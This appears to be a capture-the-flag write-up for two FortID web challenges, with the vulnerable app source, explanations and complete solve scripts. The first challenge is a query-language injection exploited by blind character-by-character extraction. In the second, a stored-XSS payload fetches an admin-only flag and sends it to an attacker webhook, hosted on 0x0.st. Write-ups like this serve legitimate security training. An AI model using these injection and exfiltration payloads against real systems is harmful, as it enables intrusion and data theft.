web

jey is not my son

Find the year the flag was created, that’s the answer you seek. But beware: Jey is not not my son.

https://fortid-jey-is-not-my-son.chals.io/

# app.py
import json
import string

from flask import Flask, render_template, request
from jsonquerylang import jsonquery

app = Flask(__name__)

with open("data.json") as f:
    data = json.load(f)


def count_baby_names(name: str, year: int) -> int:
    query = f"""
                .collection
                    | filter(.Name == "{name}" and .Year == "{year}")
                    | pick(.Count)
                    | map(values())
                    | flatten()
                    | map(number(get()))
                    | sum()
            """
    output = jsonquery(data, query)
    return int(output)


def contains_digit(name: str) -> bool:
    for num in string.digits:
        if num in name:
            return True
    return False


@app.route("/", methods=["GET"])
def home():
    name = None
    year = None
    result = None
    error = None

    name = request.args.get("name", default="(no name)")
    year = request.args.get("year", type=int)

    if not name or contains_digit(name):
        error = "Please enter a name."
    elif not year:
        error = "Please enter a year."
    else:
        if year < 1880 or year > 2025:
            error = "Year must be between 1880 and 2025."
        try:
            result = count_baby_names(name=name, year=year)
        except Exception as e:
            error = f"Unexpected error: {e}"

    return render_template("index.html", name=name, year=year, count=result, error=error)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

tldr;

The vulnerable piece of code is this line.

| filter(.Name == "{name}" and .Year == "{year}")
  • Our input with name and year is inserted into a code string (the DSL program) with no escaping. So the workaround this is terminate with the "...", close the filter(, and inject arbitrary query operators/pipelines. Our injection comes after that is the real exploit.

.collection
| filter(.Name == "flag")                    <-- closed early by `")`
| map({Count: <PREDICATE>})                  <-- injected logic
| filter(.Name not in [] or .Name == " and .Year == "2019")  <-- remainder glued here
| pick(.Count) | map(values()) | flatten() | map(number(get())) | sum()

The fomula for it is going to be

flag") | map({Count: <PREDICATE>}) | filter(.Name not in [] or .Name == "
  • flag" → closes the "... string.

  • ) → closes the original filter( call, so it becomes filter(.Name == "flag").

  • | map({Count: <PREDICATE>}) → payload pipeline; decide what number gets printed.

  • | filter(.Name not in [] or .Name == " → opens a new filter and leaves a string open to catch the remainder.

And build on that logic and plus the predicate of guessing character by character, we ultimately got the solve.

solve.py

import sys
import time
import requests

BASE = sys.argv[1] if len(sys.argv) > 1 else "https://fortid-jey-is-not-my-son.chals.io"
S = requests.Session()
S.headers.update({"User-Agent": "fortid-jey-progress"})
ALPH = r"""#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"""


def enc_digits(s: str) -> str:
    """Encode digits without placing digits literally in the 'name' parameter."""
    out = []
    for ch in s:
        if ch.isdigit():
            n = ord(ch) - 48
            out.append(
                '"+string(' + "+".join(['(""!="")'] * 2 + ['(""=="")'] * n) + ')+"'
            )
        else:
            out.append(ch)
    return "".join(out)


def probe(prefix_plus_char: str) -> int:
    """Return 1 if .Year >= prefix_plus_char else 0, by reading the page count."""
    enc = enc_digits(prefix_plus_char)
    name = (
        'flag") | map({Count: .Year >= ("' + enc + '")}) '
        '| filter(.Name not in [] or .Name == "'
    )
    r = S.get(
        f"{BASE}/",
        params={"name": name, "year": 2020},
        timeout=15,
    )
    html = r.text
    i = html.find('font-extrabold">')
    if i < 0:
        return -1
    j = html.find("</span>", i)
    if j < 0:
        return -1
    try:
        return int(html[i + 16 : j])  # 0 or 1
    except:
        return -1


def next_char(prefix: str) -> str:
    lo, hi = 0, len(ALPH)
    steps = 0
    while lo + 1 < hi:
        steps += 1
        mid = (lo + hi) // 2
        guess = prefix + ALPH[mid]
        t0 = time.time()
        res = probe(guess)
        dt = time.time() - t0
        print(f"  • test '{guess}': result={res} (t={dt:.2f}s)")
        if res == 1:
            lo = mid
        elif res == 0:
            hi = mid
        else:
            print("    [!] parse issue; retrying once…")
            res = probe(guess)
            if res == 1:
                lo = mid
            elif res == 0:
                hi = mid
            else:
                raise RuntimeError("Response parse failed twice")
    return ALPH[lo]


def solve():
    flag = "FortID{"
    print(f"[start] prefix: {flag}")
    while True:
        ch = next_char(flag)
        flag += ch
        print(f"[step] chose '{ch}'  -> {flag}")
        if ch == "}":
            print(f"[DONE] {flag}")
            return flag

solve()
  • FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}

upload docs

We’ve come across a rather unusual solution for uploading documentation, and I’ve noticed several odd things about it.

Here’s what I know so far:

There’s an /admin?target_user={user_id} endpoint that simulates what an admin would see on the site. From there, the admin can view target_user the links. There’s also a /get_flag endpoint, which appears to work only within the local network.

Local port is 5000.

https://fortid-upload-docs.chals.io/

tldr;

The flag was hidden behind an internal admin-only endpoint /get flag ac- cessible only to the admin bot running on 127.0.0.1:5000.

Direct access or password resets were impossible. Instead, we abused a stored XSS gadget in the “username/link” feature that allowed us to load arbitrary JavaScript in the admin’s origin. Our payload fetched /get_flag and exfiltrated it to a webhook, yielding the flag.

  • FortID{50m371m35_15_b3773r_70_n07_v1b3_c0d3_4nd_0buf5c473}

Notes: From the page sources we observed that the application always includes (after you de-obfuscate the code with https://deobfuscate.io/). /static/js/effect.js with window.stateObject["static/js/effect.js"].href without validation. And that is pretty much the vulnerability

solve.sh

set -euo pipefail

# === EDIT THIS ===
WEBHOOK='<your-webhook-url>'
BASE='https://fortid-upload-docs.chals.io'
# =================

echo "[1/5] Start session"
curl -sS -c cookies.txt "$BASE/" -o /dev/null
UUID="$(awk '$6=="user_id"{print $7}' cookies.txt)"
[ -n "${UUID:-}" ] || { echo "[!] no user_id cookie"; exit 1; }
echo "[i] user_id = $UUID"

echo "[2/5] Build JS payload (executes in admin origin)"
PAYLOAD_JS="fetch('/get_flag')
  .then(r=>r.text())
  .then(t=>{ new Image().src='$WEBHOOK?flag='+encodeURIComponent(t); })
  .catch(e=>{ new Image().src='$WEBHOOK?err='+encodeURIComponent(String(e)); });"

TMPFILE="$(mktemp --suffix=.js)"
printf '%s\n' "$PAYLOAD_JS" > "$TMPFILE"
echo "[i] payload file = $TMPFILE"

echo "[3/5] Host payload on 0x0.st"
RAW_URL="$(curl -sS -F "file=@${TMPFILE};type=text/javascript" https://0x0.st/)"
[ -n "${RAW_URL:-}" ] || { echo "[!] upload failed"; exit 1; }
echo "[i] raw js url = $RAW_URL"

echo "[4/5] Register gadget (override /static/js/effect.js)"
curl -sS -b cookies.txt -c cookies.txt -X POST "$BASE/" \
  --data-urlencode 'username=static/js/effect.js' \
  --data-urlencode "link=${RAW_URL}" \
  -o /dev/null
echo "[i] gadget posted"

echo "[5/5] Trigger admin visit"
curl -sS -b cookies.txt "$BASE/admin?target_user=${UUID}" -o /dev/null

echo
echo "Check webhook for a GET like: ?flag=FortID%7B...%7D"
  • FortID{50m371m35_15_b3773r_70_n07_v1b3_c0d3_4nd_0buf5c473}

Last updated